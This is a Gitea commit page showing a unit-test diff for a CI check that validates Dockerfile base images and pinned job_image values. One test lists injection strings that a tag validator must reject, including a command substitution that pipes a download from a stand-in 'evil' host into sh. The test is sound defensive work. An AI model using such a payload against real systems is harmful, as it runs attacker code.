fix(image): make the job container check fail closed
Review findings: a non-ubuntu or variable FROM went unchecked, the registry-prefixed ubuntu forms were missed, the container line could be satisfied by a lookalike in a run block, and a quoted job_image passed the check but not the bot-diff guard or Renovate. Also: stale ci Dockerfile base comment, the pins error now says what to edit, and the docs state that a job_image-only bump rebuilds nothing. Co-Authored-By: Claude Sonnet 5.5 <[email protected]> Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
This commit is contained in:
1 parent
c3d0d7df65
commit
bc5ae09de7
5 files changed
+77
-15
No files matched your search
@@ -77,6 +77,14 @@ class RuleTest(unittest.TestCase):
|
||||
for path, old, new in cases:
|
||||
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
|
||||
|
||||
def test_job_image_lines_cannot_be_added_removed_or_moved(self):
|
||||
path = ".gitea/workflows/image.yml"
|
||||
line = f" job_image: ubuntu:24.04@{D1}"
|
||||
for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"),
|
||||
(" steps:", f" steps:\n{line}")):
|
||||
self.assertIsNotNone(self.problem(path, old, new), (old, new))
|
||||
self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"'))
|
||||
|
||||
def test_tag_charset_is_restricted(self):
|
||||
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
|
||||
for tag in bad_tags:
|
||||
|
||||
@@ -240,7 +240,7 @@ class PureTest(unittest.TestCase):
|
||||
self.assertEqual(len(errors), 1)
|
||||
self.assertIn("builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0])
|
||||
files["images/ci/Dockerfile"] = "FROM debian:12\n"
|
||||
self.assertIn("no `FROM ubuntu:<release>` line", civ.check_job_images(matrix, read, text)[0])
|
||||
self.assertIn("FROM debian:12 is not an Ubuntu base", civ.check_job_images(matrix, read, text)[0])
|
||||
files["images/ci/Dockerfile"] = f"FROM {JOB} AS os\n"
|
||||
self.assertEqual(civ.check_job_images(matrix, read, text.replace("matrix.job_image", "matrix.other")),
|
||||
[".gitea/workflows/image.yml: the job container must be "
|
||||
@@ -254,6 +254,35 @@ class PureTest(unittest.TestCase):
|
||||
self.assertEqual(len(errors), 1, errors)
|
||||
self.assertIn("job_image in .gitea/workflows/image.yml must be ubuntu:<release>@sha256:<digest>", errors[0])
|
||||
|
||||
def test_dockerfile_releases_fail_closed(self):
|
||||
digest = DIGEST
|
||||
cases = {
|
||||
f"FROM --platform=linux/amd64 ubuntu:26.04@{digest} AS a\nFROM a AS b\n": (["26.04"], 0),
|
||||
f"FROM docker.io/library/ubuntu:24.04@{digest}\n": (["24.04"], 0),
|
||||
f"FROM ubuntu:24.04 AS ubuntu\nFROM ubuntu AS x\n": (["24.04"], 0),
|
||||
f"FROM golang:1.22 AS b\nFROM ubuntu:24.04\n": (["24.04"], 1),
|
||||
"ARG B=ubuntu:26.04\nFROM ubuntu:24.04 AS a\nFROM ${B} AS b\n": (["24.04"], 1),
|
||||
"FROM ubuntu:${REL}\n": ([], 1),
|
||||
"FROM ubuntu:24.04\nRUN <<EOF\necho hi\nEOF\n": (["24.04"], 0),
|
||||
}
|
||||
for text, (want_releases, want_problems) in cases.items():
|
||||
releases, problems = civ.dockerfile_releases(text)
|
||||
self.assertEqual((releases, len(problems)), (want_releases, want_problems), (text, problems))
|
||||
|
||||
def test_container_line_must_sit_under_container(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
lookalike = text.replace(" container:\n image: ${{ matrix.job_image }}\n",
|
||||
" container:\n image: ubuntu:24.04\n steps:\n - run: |\n"
|
||||
" image: ${{ matrix.job_image }}\n")
|
||||
errors = civ.check_job_images(civ.matrix_of(lookalike), lambda path: f"FROM {JOB}\n", lookalike)
|
||||
self.assertEqual(len(errors), 1, errors)
|
||||
self.assertIn("the job container must be", errors[0])
|
||||
|
||||
def test_quoted_job_image_is_refused(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace(f"job_image: {JOB}", f'job_image: "{JOB}"', 1)
|
||||
with self.assertRaises(civ.CheckError):
|
||||
civ.matrix_of(text)
|
||||
|
||||
def test_scripts_do_not_import_yaml(self):
|
||||
# The bump step runs in the Renovate image, whose python3 has no PyYAML (dry run 2453).
|
||||
for script in ("check_image_versions.py", "bump_image_versions.py"):
|
||||
|
||||
Reference in new issue
Block a user